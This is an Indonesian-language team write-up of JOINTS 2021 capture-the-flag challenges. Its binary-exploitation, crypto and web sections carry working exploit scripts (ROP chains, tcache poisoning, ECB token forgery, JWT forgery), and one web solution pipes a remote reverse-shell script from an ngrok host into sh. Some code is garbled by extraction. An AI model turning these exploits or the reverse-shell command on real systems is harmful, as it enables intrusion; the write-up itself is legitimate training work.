WriteUp JOINTS 2021 Brahmastra





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Binary Exploitation

1. Compare your strings

a. Executive Summary

A program in which you can compare two strings and see whether they are the same string or not. Pretty useful, right?

nc dubwewsub.joints.id 22222

b. Technical Report

Dikasi binary, berikut spesifikasinya

Binary nya not stripped 64 bit gak ada canary dan gak ada pie (enaq). Langsung buka pseudocodenya di ghidra

```
int iVar1;
char local_98 [32];
byte local_78;
byte local_58;
char local_38 [48];
nobaper();
local_58 = 0x32;
local_78 = 0x32;
write(1,"A simple program to compare string\n",0x23);
write(1, "String 1: ",10);
fgets(local_98,(uint)local_58,stdin);
write(1, "String 2: ",10);
fgets(local_38,(uint)local_78,stdin);
iVar1 = strncmp(local_98,local_38,0x20);
if (iVar1 == 0) {
  write(1, "String match\n", 0xd);
}
else {
  write(1, "String doesn\'t match\n", 0x15);
}
return 0;
```

Jadi di binary nya ini ada vuln bof tapi cuma 1 byte, bisa dibilang **off by one**. Nah itu cuma bisa kita manfaatin di inputan pertama, soalnya di inputan ke dua kita bakal buat ROPChain nya.

Jadi idenya gini:

- 1. Inputan pertama, kita manfaatin **off by one** buat ngubah value variable **local_78** jadi lebih besar lagi, **0xff** misalnya.
- 2. Karena variable **local_78** uda jadi lebih besar, yauda tinggal bof buat ropchain ret2libc.

Full script:

```
from pwn import *

# p = process("./chal")
p = remote("dubwewsub.joints.id", 22222)
binary = ELF("./chal")
write = binary.plt['write']
fgets = binary.got['fgets']
main = binary.symbols['main']
pop_rdi = 0x00000000004013f3 # pop rdi ; ret
```

```
pop_rsi_r12 = 0x000000000004013f1 # pop_rsi; pop_r12; ret_
payload = "
payload += 'A' * 32 + '\xff'
       b *0x000000000401331
p.sendline(payload)
payload += 'A' * 0x17
payload += p64(pop_rdi)
payload += p64(1)
payload += p64(pop_rsi_r12)
payload += p64(fgets)
payload += p64(0)
payload += p64(write)
payload += p64(main)
print len(payload)
# gdb.attach(p, 'b *0x0000000000401389')
p.sendline(payload)
p.recvuntil("String match\n")
libc_leak = u64(p.recv(8))
log.info("Libc leak: {}".format(hex(libc_leak)))
libc_base = libc_leak - 0x0857b0
log.info("Libc base: {}".format(hex(libc_base)))
libc_system = libc_base + 0x055410
log.info("Libc system: {}".format(hex(libc_system)))
libc_binsh = libc_base + 0x1b75aa
log.info("Libc /bin/sh: {}".format(hex(libc_binsh)))
payload = "
```

Tinggal jalanin aja scriptnya

c. Flag

```
Flag:JOINTS21{Wh@t_h4ppEn5z_t0_th3_rEtUrn_Addr3sz_1s_iN_thE p0w3r 0f r000p}
```

2. Kandang ayam

a. Executive Summary

Who doesn't love chicken?

nc dubwewsub.joints.id 22223

b. Technical Report

Diberikan binary spesifikasinya gini.

```
chao at Yu in [~/Documents/WriteUps/JOINTS/2021/pwn/kandang_ayam] on git:master
19:34:23 > file chal; checksec chal Flag: [flag
chal: ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked,
5e966d7, not stripped
[*] '/home/chao/Documents/WriteUps/JOINTS/2021/pwn/kandang_ayam/chal'
    Arch: amd64-64-little
    RELRO: Full RELRO
    Stack: EXPCanary of ound

    NX: NX enabled
    PIE:Renge'sPIE enabled
```

Binary nya full secured, tipikal soal heap. Langsung buka pseudocodenya. Dan beneran heap, untuk vuln nya ada di code ini

```
void potong_ayam(void)
  long in_FS_OFFSET;
  int local_14;
  long local_10;
  local_10 = *(long *)(in_FS_0FFSET + 0x28);
  local_14 = 0;
  fwrite("Ayam ke berapa? ",1,0x10,stdout);
  __isoc99_scanf(&DAT_00101271,&local_14);
  if ((local_14 < 0) || (0x13 < local_14)) {
    puts("ayamnya gak ada");
  }
  else {
    free(*(void **)(ayams + (long)local_14 * 8));
  if (local_10 != *(long *)(in_FS_OFFSET + 0x28)) {
                    /* WARNING: Subroutine does not return */
    __stack_chk_fail();
  }
  return;
```

Nah, disini pas ngefree memory nya gak di null-in jadi ada vuln **use after** free.

Vuln kedua ada di kode ini

```
2 void set_nama(void)
3
4 {
  puts("-----
5
  puts("Selamat datang di program kandang ayam");
  puts("Di sini Anda bisa membeli, memberi nama, serta menye
   puts("-----
  fwrite("Masukkan nama kandang ayam Anda: ",1,0x21,stdout);
   read(0, nama, 100);
  printf(nama);
.1
   puts("Nama yang bagus. Terima kasih telah melakukan regist
.3
   return:
.4 }
```

Ada format string bug, bisa dimanfaatin buat leak libc.

Jadi idenya gini:

- 1. Leak libcnya dulu lewat format string bug.
- 2. Manfaatin bug uaf buat ngepoison tcachenya
- 3. Abis dipoison tcachenya, kita bisa ubah __free_hook jadi system abis tu langsung aja ngefree memory yg udah ada string /bin/sh.

Full script:

```
from pwn import *

# p = process("./chal")
p = remote("dubwewsub.joints.id", 22223)

def alloc(idx, content):
p.sendlineafter(": ", "1")
p.sendlineafter("? ", str(idx))
p.sendlineafter(": ", content)

def show(idx):
p.sendlineafter(": ", "2")
p.sendlineafter("? ", str(idx))

def edit(idx, content):
p.sendlineafter(": ", "3")
```

```
p.sendlineafter("? ", str(idx))
p.sendlineafter(": ", content)
def free(idx):
p.sendlineafter(": ", "4")
p.sendlineafter("? ", str(idx))
p.sendlineafter("Anda: ", "%11$p")
libc_leak = int(p.recvline()[:-1], 16) - 0xe7
log.info("Libc leak: {}".format(hex(libc_leak)))
libc_base = libc_leak - 0x021ab0
log.info("Libc base: {}".format(hex(libc_base)))
libc_system = libc_base + 0x04f440
log.info("Libc system: {}".format(hex(libc_system)))
libc free hook = libc base + 0x00000000003ed8e8
log.info("Libc free_hook: {}".format(hex(libc_free_hook)))
for i in range(7): alloc(i, '?' * 8)
for i in range(7): free(i)
edit(6, p64(libc_free_hook))
alloc(7, '/bin/sh\x00')
alloc(8, p64(libc_system))
free(7)
# gdb.attach(p)
p.interactive()
```

Run scriptnya

c. Flag

Flag: JOINTS21{ju5t ab0uT 3verY0ne lov3s hie4p}

3. ezpz

a. Executive Summary

A simple program to get you started

nc dubwewsub.joints.id 22221

b. Technical Report

Diberikan binary spesifikasinya gini

64 bit ga ada canary ga ada pie.

Sebenernya agak susah jelasin yg ini, jadi ada bug **off by one** di return address juga sama kayak pwn pertama.

Bug nya ada di kode berikut.

```
void vuln(void)
{
  undefined local_28 [32];
  read(0,local_28,0x29);
  return;
}
```

Nah untungnya disini dikasi stack leak sama prob set nya jadinya lebih gampang. Jadi karena uda dapet stack leak ya tinggal stack pivoting aja nanti dari instruksi leave kita bisa ubah **rsp** nya ke stack yg kita pengen. Nah trus **off by one** nya kita manfaatin buat balek ke fungsi **vuln** nya dengan **rbp** yang uda kita ubah. Full script:

```
from pwn import *

# p = process("./chal")

p = remote("dubwewsub.joints.id", 22221)
binary = ELF("./chal")
```

```
p.recvuntil(": ")

stack_leak = int(p.recvline()[:-1], 16)

log.info("Stack leak: {}".format(hex(stack_leak)))

payload = "

payload += 'B' * 8

payload += p64(0x40101a)

payload += p64(binary.sym['win'])

payload += 'C' * 8

payload += p64(stack_leak - 0x128)

payload += '\xae'

# gdb.attach(p)

p.sendline(payload)

p.interactive()
```

Run scriptnya

```
chao at Yu in [~/Documents/WriteUps/JOINTS/2021/pwn/ezpz] on git:master x
19:59:11 > python exploit.py
[+] Opening connection to dubwewsub.joints.id on port 22221: Done
[*] '/home/chao/Documents/WriteUps/JOINTS/2021/pwn/ezpz/chal'
    Arch:    amd64-64-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX* eb EXPNX!enabled
    PIE:    No PIE (0x400000)
[*] Stack leak:B0x7ffebbff5608
[*] Switching to interactive mode
JOINTS21{Off_by_On3_ez_pz_3h?}[*] Got EOF while reading in interactive
```

c. Flag

Flag: JOINTS21{0ff_by_On3_ez_pz_3h?}

Cryptography

1. Baby RSA 21

a. Executive Summary

Karena dedlen yang mepet, akhirnya probset hanya membuat soal RSA pasaran yang sedikit dimodifikasi.

b. Technical Report

Diberikan file chall.py, berikut penampakannya:

```
from Crypto.Util.number import getPrime
from Crypto.Util.number import long to bytes as 12b
from Crypto.Util.number import bytes_to_long as b21
from gmpy import next prime
from secret import flag
FLAG = b21(flag)
def prime():
   while True:
      prime = getPrime(512)
      if(prime > FLAG):
           return prime
p = prime()
q = prime()
r = prime()
while True:
   s = prime()
   if(s>p and s>q and s>r):
t = next prime(s)
assert p > FLAG
assert q > FLAG
assert r > FLAG
```

```
assert s > FLAG
n = p*q*r*s*t
c = pow(FLAG, e, n)
print("c: ", c)
print("p*q*r : ", p*q*r)
print("s*t :", s*t)
```

```
8671751647131542221398655298649136877922755796240341752938893L
)
```

Karena semua bilangan prima > flag, jadi ini sama seperti menggunakan 1 bilangan prima. Di script py yang diberikan, 2 bilangan prima yang berdekatan (s dan t). Untungnya, diberikan hasil kali s dan t, jadi kita bisa mencari s dan t dengan fermat factorization. Berikut full scriptnya

```
from Crypto.Util.number import inverse, long to bytes
from fermat import factorize
48040328963945990924620280027181859567719937668344126926458142
38042314040237481935868727356954430717574220462209349894546975
45839904151510432157794355452231826284071184929627091050724386
87997490923072400918252555673335579484667713859480270700396293
18947135306083843574967152927580510629476203910811327236292350
38215512803077435572756415044729212955861387899053573568500052
64836590347773376402713171124330977931453179566439465764966768
95801803657232740039464838208342315547902301129023620266555169
64094773041310771591573810412033938133444496968816486810713757
65006411243682683042845372880173162571694854512234885179623835
92320284913955829479236472413531272570691559884811676994628958
14100426254177730486616353594658236107817690864045773798890857
23323837023347656992603899
pqr
73003088612852621968931110076923440641819698023886351657559052
22362729530248642423122594115134771810187323521444273475842006
23942138397064688224971396043148742129540113222261838409958122
09106758894623442684746652732857108653017958352704016764116858
79456010003149296716040030975243355727390365844901247718133935
99604007933380169559919472645360424286707115046894610242995985
23646008311314977484739160112446693715110855136809979668016404
0093837052494987905402846113
15967248628061506915519415903807498097403698810899906591157422
77480976374609821886562263931409837558566281144823296432111690
50408030104011052298880123059045016285641082771428955873527878
28104946955008712101411206179015016081186851848527419122631394
8671751647131542221398655298649136877922755796240341752938893
```

```
s,t = factorize(st)

phi = s-1
d = inverse(65537,phi)

m = long_to_bytes(pow(c,d,s)).decode()
print(m)
```

fermat.py

```
def isqrt(n):
    x=n
    y=(x+n//x)//2
    while(y<x):
        x=y
        y=(x+n//x)//2
    return x

def factorize(n):
    a = isqrt(n)
    while True:
        b2 = a*a - n
        b = isqrt(b2)
        if b*b == b2:
            return a+b, a-b
        a += 1</pre>
```

Hasil

```
anehman@ubuntu:~/ctf/joints/2021/quals/crypto/babyRSA21$ python3 solve.py
JOINTS21{Pr0bs3t_b1nGung_m4u_buAt_s04l_4pa_b567de0fac782bed87}
anehman@ubuntu:~/ctf/joints/2021/quals/crypto/babyRSA21$
```

c. Flag

Flag:

 $\label{local_solution} JOINTS21\{Pr0bs3t_b1nGung_m4u_buAt_s04l_4pa_b567de0fac782bed87\}$

2. Baby PRNG 21

a. Executive Summary

Ketua OSSIS SMA Negeri Tra La La memberikan give away kepada siapa saja yang berhasil untuk memecahkan kode rahasia yang telah disembunyikan. Karena Ketua OSSIS SMA Negeri Tra La La adalah orang yang baik hati, dia memberikan hint untuk membantu para hekel agar tidak kesusahan saat memecahkan kode rahasianya. Sebagai seorang hekel yang bijaksana, baik hati, tidak sombong dan suka menabung anda akan menyelesaikan kode rahasia tersebut dengan sepenuh hati. Pecahkanlah kode rahasia itu agar bisa mendapatkan give away.

Note: Format Flag khusus untuk chall ini JOINST21 bukan JOINTS21

b. Technical Report

Diberikan file chall.py, berikut penampakannya

```
#!/usr/bin/python
import secret
import random
from Crypto.Util.number import getPrime
import os
import sys

PRIME = [227, 229, 233, 239, 241, 251]
random.seed(os.urandom)
random.shuffle(PRIME)

class PRNG:
    a = secret.a
    c = secret.c
    m = secret.m

def __init__(self, seed):
    self.state = seed

def generate(self):
```

```
self.state = self.state * self.a % self.m + self.c %
self.m
       self.state = self.state % self.m
      return self.state
def main():
  seed = 1337
  gen = PRNG(seed)
  hint1 = []
  flag = secret.flag
  for i in range(len(flag)):
       tmp = gen.generate()
      num.append(tmp)
      if(i < 6):
          prime = PRIME.pop()
          print(prime)
          tmp1 = tmp
          tmp = tmp ^ prime
          tmp1 = tmp1 - prime
          hint1.append(tmp1)
       res = ord(flag[i]) ^ tmp
       enc.append(res)
  print("enc: ",enc)
  print("hint1: ",hint1)
if name == ' main ':
  main()
```

```
13655771114L, 512318117959L, 355619685020L, 431700304607L, 657184352851L, 687484633817L, 222947793440L, 118488991997L])
# ('hint1: ', [142480696324, 438972530923L, 193822069306L, 153738699529L, 522944679058L, 103858046102L])
```

Ada beberapa perbedaan di algoritma LCG. Tetapi setelah dibandingkan dengan algoritma biasanya, ternyata hasilnya sama. Jadi itu hanya LCG dengan sedikit "perubahan".

Hasil generate dari random di-XOR dengan flag, lalu jika index < 6, hasil tadi di-XOR dengan PRIME yang sudah di-shuffle. Kita dipermudah oleh panitia untuk mencari state awal dengan diberikannya variabel "hint". Hint ini berisi hasil generate dikurangi PRIME yang sudah di-shuffle. Jadi yang harus dilakukan adalah:

- 1. Menebak urutan PRIME dengan permutasi
- 2. Cari tau inner state LCG (crack LCG)
- 3. Re-generate LCG, di-XOR dengan cipher yang sudah diberikan
- 4. Replace 6 karakter pertama dengan string "JOINST" (emang typo)

Cara menebak apakah urutan PRIME sudah benar adalah dengan cara sebagai berikut:

- 1. Hasil generate = hint[i] + PRIME[i]
- 2. Crack LCG. Cari modulus, multiplier, increment
- 3. Recreate LCG, seednya adalah index terakhir dari hasil_generate
- 4. Generate random, jika hasilnya sama dengan cipher[6] XOF ord("2"), maka urutan PRIME sudah benar

Berikut full scriptnya

```
from crackLCG import crack_LCG, LCG
from itertools import permutations

PRIME = [227, 229, 233, 239, 241, 251]
hint = [142480696324, 438972530923, 193822069306, 153738699529, 522944679058, 103858046102]
target = 409824720605 ^ ord("2")
known_flag = "JOINST"

for x in permutations(PRIME):
    s = [a+b for a,b in zip(hint,x)]
```

```
modulus, multiplier, increment = crack LCG(s)
  r = LCG(s[-1], modulus, multiplier, increment)
  if r.next() == target:
r = LCG(1337, modulus, multiplier, increment)
cipher = [142480696398, 438972531026,
                                              193822069683,
153738699609,
              522944679201,
                              103858046402,
                                              409824720605,
198554268540, 348493614739,
                                               38043882350,
               607629205198,
                                              325998949710,
134688189824,
                               71957319932,
82904829550, 304318025700, 592453289291,
                                              330191952240,
92418422406,
              475183248833,
                              381745574390,
                                              366232332191,
51709560611, 329628356407,
                             451733888491,
                                              448890570242,
             512318117959,
13655771114,
                             355619685020,
                                             431700304607,
657184352851, 687484633817, 222947793440, 118488991997]
seq = "".join([chr(r.next()^c) for c in cipher])
flag = known flag + seq[len(known flag):]
print(flag)
```

crack_LCG.py

```
from Crypto.Util.number import *
from functools import reduce

class LCG:
    def __init__(self, state, modulus, multiplier, increment):
        self.state = state
        self.modulus = modulus
        self.multiplier = multiplier
        self.increment = increment

    def next(self):
        self.state = (self.state * self.multiplier +
self.increment) % self.modulus
        return self.state

def crack_LCG(states):
    # crack modulus
    t = []
    for i in range(len(states) - 1):
        t.append(states[i+1] - states[i])
```

```
u = []
for i in range(len(t) - 2):
    result = abs(t[i+2] * t[i] - t[i+1]**2)
    u.append(result)
modulus = reduce(GCD, u)

# crack multiplier
multiplier = (states[2] - states[1]) * inverse(states[1] - states[0], modulus) % modulus

# crack increment
increment = (states[1] - states[0]*multiplier) % modulus

return modulus, multiplier, increment
```

Hasil:

```
anehman@ubuntu:~/ctf/joints/2021/quals/crypto/babyPRNG21$ python3 solve.py
JOINST21{s4ntuy_cUm4_lcGs_bi4sa_0m}
anehman@ubuntu:~/ctf/joints/2021/quals/crypto/babyPRNG21$
```

c. Flag

Flag: JOINST21{s4ntuy_cUm4_lcGs_bi4sa_0m}

3. Baby ECB 21

a. Executive Summary

Mas Suryo dan Mas Dewo berusaha membuat penelitan tentang kelemahan algoritma AES pada mode ECB. Namun karena mereka putus asa, akhirnya mereka hanya membuat sistem autentikasi dengan memanfaatkan algoritma enkripsi AES ECB. Bantulah Mas Suryo dan Dewo untuk menyelesaikan penelitiannya, buktikan bahwa sistem autentikasi mereka bisa dijebol meskipun anda tidak mengetahui soskod.

nc 35.240.234.35 4456

Mirror: nc 52.246.190.141 1339

b. Technical Report

Hanya diberikan akses nc *hiks*

Ketika akses service, kita disuruh login. Setelah login, kita diberikan token. Tugas kita adalah akses Get Flag.

Karena ketika menginputkan karakter pendek menghasilkan token yang panjang, jadi kami berasumsi bahwa string inputan kita ditambahkan dengan suatu karakter. Langsung saja kami coba register, lalu cek hasil tokennya

```
Hasil (dipisah per blok):
```

```
b'59a5ea05b1b4e630366ff7b8e890ce8c',
b'677021701f186fbf265cb477ad5178dc',
b'677021701f186fbf265cb477ad5178dc',
b'677021701f186fbf265cb477ad5178dc',
b'a3b0f79ee5523129bdd9c11b02c30b7b',
b'2594a9de4759a3a6db481808bf0dbf8e',
b'46216dc14b5c3bc3d4537e678cea4ec0',
b'8a6ff60098fef15b635e7795a6cbd0c2'
```

Terlihat disana inputan kita ternyata berada diantara string yang tidak diketahui. Jadi kira-kira prosesnya seperti ini

```
AES_ECB.new(KEY).encrypt(unknown + input_user +
unknown)
```

Kita tidak bisa menebak karakter sebelum input user, tapi kita bisa menebak karakter setelah input user. Cara mencari karakter setelah input sama seperti soal cryptopals <u>ini</u> (hanya saja panjangnya sama, dan blind).

Berikut cara mencari karakternya:

```
import string
from pwn import *
p = remote("35.240.234.35", 4456)
# p = remote("52.246.190.141", 1339)
leaked = ''
pad = 52 - len(leaked)
TARGET BLOCK = 3
charset = string.printable[:-5]
for i in range(pad+1):
  p.sendline("3")
   dummy = "A"*(pad-i)
  p.sendline(dummy)
  p.recvuntil("Token : ")
   token = p.recvline().strip()
   token_block = [token[i:i+32] for i in range(0,len(token),32)]
   for c in charset:
      guess = dummy + leaked + c
      p.sendline("3")
       p.sendline(guess)
       p.recvuntil("Token : ")
       result = p.recvline().strip()
       result block
range(0,len(result),32)]
       if token block[3] == result block[3]:
           leaked += c
   print(leaked.encode())
```

Hasil:

```
"is admin": 0,
              "encryp'
              "encrypt'
"is_admin": 0,
"is admin": 0,
              "encrypti'
"is_admin": 0,
              "encryptio'
"is admin": 0,
              "encryption'
"is admin": 0,
              "encryption
"is admin": 0.
              "encryption_a'
"is admin": 0,
              "encryption al'
"is_admin": 0, "encryption_alg'
"is admin": 0,
              "encryption alg
"is admin": 0, "encryption alg":'
"is_admin": 0, "encryption alq":
"is_admin": 0, "encryption alg":
"is_admin": 0, "encryption alg": "A'
"is_admin": 0,
              "encryption_alg": "AE'
"is_admin": 0, "encryption alg": "AES'
             "encryption_alg": "AES
"is admin": 0,
"is_admin": 0, "encryption alg": "AES M'
             "encryption_alg": "AES MO'
"is admin": 0,
"is_admin": 0, "encryption alg": "AES MOD'
"is admin": 0, "encryption alg": "AES MODE'
"is_admin": 0,
              "encryption alg": "AES MODE '
"is_admin": 0, "encryption_alg": "AES MODE E'
"is_admin": 0, "encryption_alg": "AES MODE_EC'
"is admin": 0, "encryption alg": "AES MODE ECB'
"is admin": 0,
              "encryption alg": "AES MODE ECB"'
"is admin": 0, "encryption alg": "AES MODE ECB"}'
```

Kita langsung Ctrl+C karena selanjutnya hanyalah padding, jadi bisa diabaikan.

Selanjutnya kita lakukan ECB cut-and-paste seperti challenge <u>ini</u>. Caranya adalah seperti berikut:

- 1. Encrypt "A"*53 sebagai referensi, simpan hasilnya
- 2. Encrypt "A"*53 + '", "is_admin": 1' + "A"*100, simpan hasilnya (angka 100 hanya untuk memastikan kalau posisi block yang akan dipotong sudah pas). Misal hasil disimpan di var result
- 3. Jika referensi dipecah per-block, terlihat block yang sama (hasil encrypt "A"*53) berhenti pada index ke-4. Jadi bisa dipastikan lokasi block yang akan dipotong adalah index ke-4
- 4. Ganti block referensi index ke-4 dengan result block index ke-4. Lebih jelasnya sebagai berikut:

Berikut full scriptnya

```
import string
from pwn import *
# pilih service, karena ada lebih dari 1
p = remote("35.240.234.35", 4456)
\# p = remote("52.246.190.141", 1339)
leaked = '' # ", "is admin": 0, "encryption alg": "AES MODE ECB"}
pad = 52 - len(leaked)
TARGET BLOCK = 3
charset = string.printable[:-5]
for i in range(pad+1):
  p.sendline("3")
   dummy = "A"*(pad-i)
  p.sendline(dummy)
  p.recvuntil("Token : ")
   token = p.recvline().strip()
   token block = [token[i:i+32] for i in range(0,len(token),32)]
   for c in charset:
      guess = dummy + leaked + c
       p.sendline("3")
      p.sendline(guess)
       p.recvuntil("Token : ")
       result = p.recvline().strip()
       result block
range(0,len(result),32)]
       if token block[3] == result block[3]:
           leaked += c
   if "}" in leaked:
```

```
p.sendline("3")
dummy = "A" * 53
p.sendline(dummy)
p.recvuntil("Token : ")
token = p.recvline().strip()
token block = [token[i:i+32] for i in range(0,len(token),32)]
p.sendline("3")
payload = dummy + '", "is admin": 1' + "A"*100
p.sendline(payload)
p.recvuntil("Token : ")
result = p.recvline().strip()
result block = [result[i:i+32] for i in range(0,len(token),32)]
admin = result block[4]
              b''.join(token block[:4]) +
b''.join(token block[5:])
# get flag
p.sendline("2")
sleep(1)
p.sendlineafter("Token: ", full)
print(p.recvline().strip())
```

Hasil:

```
[*] Switching to interactive mode
JOINTS21{ECB_uNknowN_1NpUt_p0s1t10n}
[*] Got EOF while reading in interactive
$
[*] Interrupted
[*] Closed connection to 35.240.234.35 port 4456
```

c. Flag

Flag: JOINTS21{ECB_uNknowN_1NpUt_p0s1t10n}

Forensic

1. Where is the file

a. Executive Summary

Polisi menangkap pengedar Ṣệntài. Saat ingin mengambil bukti berupa harddisk milik pelaku, pelaku sempat memberontak dan menyentuh komputernya selama beberapa detik. Bantulah pak polisi agar dapat menonton Ṣệntài menunjukkan barang bukti.

b. Technical Report

Diberikan file disk.zip yang jika di extract berisi disk1.img s/d disk4.img, berikut hasil perintah file

```
disk1.img: Linux Software RAID version 1.2 (1)
disk2.img: Linux Software RAID version 1.2 (1)
disk3.img: Linux Software RAID version 1.2 (1)
disk4.img: Linux Software RAID version 1.2 (1)
```

Ketika di binwalk, ada file PNG di disk1.img dan disk3.img

```
anehman@ubuntu:~/ctf/joints/2021/quals/foren/where is the file$ binwalk disk1.img
DECIMAL
              HEXADECIMAL
                               DESCRIPTION
2129920
             0x208000 PNG image, 1410 x 1748, 8-bit/color RGBA, non-interlaced
2129984
             0x208040
                              Zlib compressed data, best compression
             0x20ABED
2141165
                               Zlib compressed data, default compression
2141723
            0x20AE1B
                              Unix path: /www.w3.org/1999/02/22-rdf-syntax-ns#">
                              Unix path: /iptc.org/std/Iptc4xmpExt/2008-02-29/"
             0x20AE7C
2141820
                              Unix path: /ns.adobe.com/xap/1.0/mm/"
Unix path: /ns.adobe.com/xap/1.0/sType/ResourceEvent#"
2141882
              0x20AEBA
             0x20AEEC
2141932
             0x20AF2E
2141998
                              Unix path: /ns.useplus.org/ldf/xmp/1.0/
             0x20AF8A
0x20B45C
                              Unix path: /purl.org/dc/elements/1.1/
2142090
                              Copyright string: "CopyrightOwner>"
Copyright string: "CopyrightOwner>"
2143324
2143365
              0x20B485
              0x20BD52
                               Zlib compressed data, best compression
2145618
anehman@ubuntu:~/ctf/joints/2021/quals/foren/where_is_the_file$ binwalk disk3.img
DECIMAL
              HEXADECIMAL
                               DESCRIPTION
3103568
              0x2F5B50
                                PNG image, 200 x 200, 8-bit/color RGBA, non-interlaced
3103609
               0x2F5B79
                                Zlib compressed data, compressed
```

Tapi ketika mencoba extract file dengan foremost, PNG hanya bisa di extract di disk3.img. Ini hasilnya



Coba scan, hasilnya shortlink

QR-Code:http://bit.ly/mungkinFlag scanned 1 barcode symbols from 1 images in 0.03 seconds

Mencurigakan.....

Coba cek pake URL expander

Long URL https://www.youtube.com/watch?v=dQw4w9WgXcQ

HAH, RICKROLL!!!!1!1!1 gakena h3h3

Setelah mencari cara, ternyata file PNG bisa di extract dengan perintah binwalk --dd='.*' disk1.img

Hasil:

208000: PNG image data, 1410 x 1748, 8-bit/color RGBA, non-interlaced

Karena tidak bisa dibuka dengan imagemagick, kita coba buka dengan browser. Ternyata bisa dibuka



c. Flag

Flag: JOINTS21{H3al_th3_D3geN3r4te_DI5K}

2. My memories with my waifu

a. Executive Summary

Bantulah menyelamatkan kenanganku bersama Isla

--file integrity check--

md5sum: f2f3b9fd4dfe0e45798b8bc99d0812ff

crc32: 1a6dba4e

file: https://drive.google.com/file/d/17gpkgeMx-KV90bWx_GBk1cHfYWX-Rc2f/view?usp=sharing

b. Technical Report

Diberikan file .7z, jika di-extract berisi MEMORY.DMP. Size besar? Awto volatility

volatility -f MEMORY.DMP imageinfo

Hasil:

```
Volatility Foundation Volatility Framework 2.6

INFO : volatility.debug : Determining profile based on KDBG search...

Suggested Profile(s) : Win7SP1x86_23418, Win7SP0x86, Win7SP1x86 (Instantiated with WinXPSP2x86)

AS Layer1 : IA32PagedMemory (Kernel AS)

AS Layer2 : WindowscrashbumpSpace32 (Unnamed AS)

AS Layer3 : FileAddressSpace (/home/anehman/ctf/joints/2021/quals/foren/memories_w_waifu/MEMORY.DMP)

PAE type : No PAE

DTB : 0xb4e1000L

KUSER_SHARED_DATA : 0xffdf0000L

Image date and time : 2021-03-20 09:11:48 UTC+0000

Image local date and time : 2021-03-20 02:11:48 -0700
```

Langsung cek isi file dengan cara

```
volatility -f MEMORY.DMP --profile=Win7SP1x86_23418
filescan > fscan
```

Setelah scroll ria, kami menemukan file flag.png

```
0x000000001e60a650
                                0 R--r-d \Device\HarddiskVolume2\Users\Forensic\flag.png
0x000000001e60a7d0
                                0 R--rwd \Device\HarddiskVolume2\Users\Public\Music\Samp
0x000000001e60ab38 4
0x000000001e60c4d0 4
0x000000001e60e480 2
0x000000001e60ab38
                                0 R--r-d \Device\HarddiskVolume2\Windows\System32\devrtl
                                0 R--r-d \Device\HarddiskVolume2\Windows\System32\SPInf.
                                1 RW-r--
\Device\HarddiskVolume2\Windows\ServiceProfiles\LocalService\NTUSER.DAT{6cced2f1-6e01-1
MS
0x000000001e60ea78
                                0 R--r-d \Device\HarddiskVolume2\Windows\System32\svchos
0x000000001e60f6c8 1
0x000000001e612028 8
                               1 R--rw- \Device\HarddiskVolume2\Windows\System32
                                0 R--r-- \Device\HarddiskVolume2\Windows\System32\catroo
Windows-MobilePC-Client-SideShow-Package~31bf3856ad364e35~x86~en-US~6.1.7601.17514.cat
```

Langsung saja dump filenya

volatility -f MEMORY.DMP --profile=Win7SP1x86_23418 dumpfiles -D . -Q 0x00000001e60a650

Berikut hasilnya:



c. Flag

Flag: JOINTS21{Pl4stiqu3_M3m0ry}

Reverse Engineering

1. Flag checker

a. Executive Summary

I created a password flag checker program. Try to understand it's implementation to get my password flag.

b. Technical Report

Dikasi binary, disuru reverse tapi males ngereverse jadinya kita ngebrute aja hehehe :')

Karena di ida pro saya kodenya berantakan, jadinya saya minta tolong temen 1 tim saya buat ngedecompile kodenya trus kirimin ke saya :D. Jadi kode yg penting yg ini

```
return (((*a1 * *a1 * *a1) ^ (unsigned int)(a1[3] + (char)(*a1 ^ a1[1])
* a1[2])) * *a1 - a1[2]) % 0xFFFFFF;
                                                     17.35
 for ( i = 0; i < LENGTH / 4; ++i )
    v13 = *(_DWORD *)&s[4 * i];
    v14 = 0;
    v5 = process((char *)&v13);
    sprintf(src, "%x", v5);
    src[6] = 0;
    strcat(dest, src);
  if (!strcmp(dest,
"82174ed8dbebcee3bdd38bd65e44f5c6490d") )
    printf("\nMAYBE this is the flag: JOINTS21{%s}
\n", s);
    result = 0;
                                                      17.39
```

Nah, yg di bagian **return** itu kayaknya ribet bet kalo di reverse jadinya aku brute aja.

Full script:

```
return (((*a1 * *a1 * *a1) ^ (unsigned int)(a1[3] + (char)(*a1 ^ a1[1]) * a1[2])) * *a1 - a1[2]) % 0xFFFFFF;

"
```

Run scriptnya

```
chao at Yu in [~/Downloads]
20:09:53-1>gpythonesolver.py
just
_an0 Web Exploitation
ther
y47v Renge's Blog
_stu
p1d_ whitebox
c0d3
```

Tinggal dibenerin dikit flagnya

c. Flag

Flag: JOINTS21{just_an0ther_stup1d_c0d3}

Web Exploitation


1. Renge's Blog

a. Executive Summary

Renge baru mencoba belajar membuat blog dari nol, bantu renge mengecheck keamanan blognya

dubwewsub.joints.id:45500

b. Technical Report



Kami menyadari web ini menggunakan jwt yang menggunakan alg RS256. Pada saat di inspect terlihat path /key/public.key. Untuk mendapatkan private key nya kami sedikit menebak pada path /key/private.key lalu tinggal ubah payload **admin** menjadi **true**

```
{
   "name": "guest369",
   "admin": true,
   "iat": 1618139224,
   "exp": 1618182424,
   "aud": "https://joints.id",
   "iss": "JOINTS21",
   "sub": "ctf@joints.id"
}
```

Flag=JOINTS21{H1d3_y0ur_key5}

Bonus



c. Flag

Flag: JOINTS21{H1d3_y0ur_key5}

2. whitebox

a. Executive Summary

The power of echo

Author: ZeroDiv

34.87.190.141:4000

52.246.190.141:1338

b. Technical Report

Diberikan sebuah web yang langsung memperlihatkan source code pada saat diakses. Sourcenya terlihat seperti ini:

Kami melihat param **echo** payloadnya dibatasi 1 karakter dan **echo1** dibatasi 3 karakter. Karena ada param **sh** jadi kami menduga param sh ini akan mengexecute sebuah file. Disini kami memanfaatkan stdout >> untuk memasukkan payload ke sebuah file karakter per karakter. Payload yang kami gunakan seperti ini:

```
File: solve.py
          import requests
          payload = 'curl https://reverse-shell.sh/2.tcp.ngrok.io:10811 | sh'
          r = requests.Session()
          r.get('http://34.87.190.141:4000/?reset')
          for i in payload:
    url = 'http://34.87.190.141:4000/?echo={}&echo1={}'.format(i, '>>a')
    res = r.get(url)
              print(res.text)
          res = r.get('http://34.87.190.141:4000/?sh=a')
          print(res.text)
                                                             di
                                                                        /tmp/flag
Dapat
               shellnya
                                 tinggal
                                                 cat
$ cat /tmp/flag
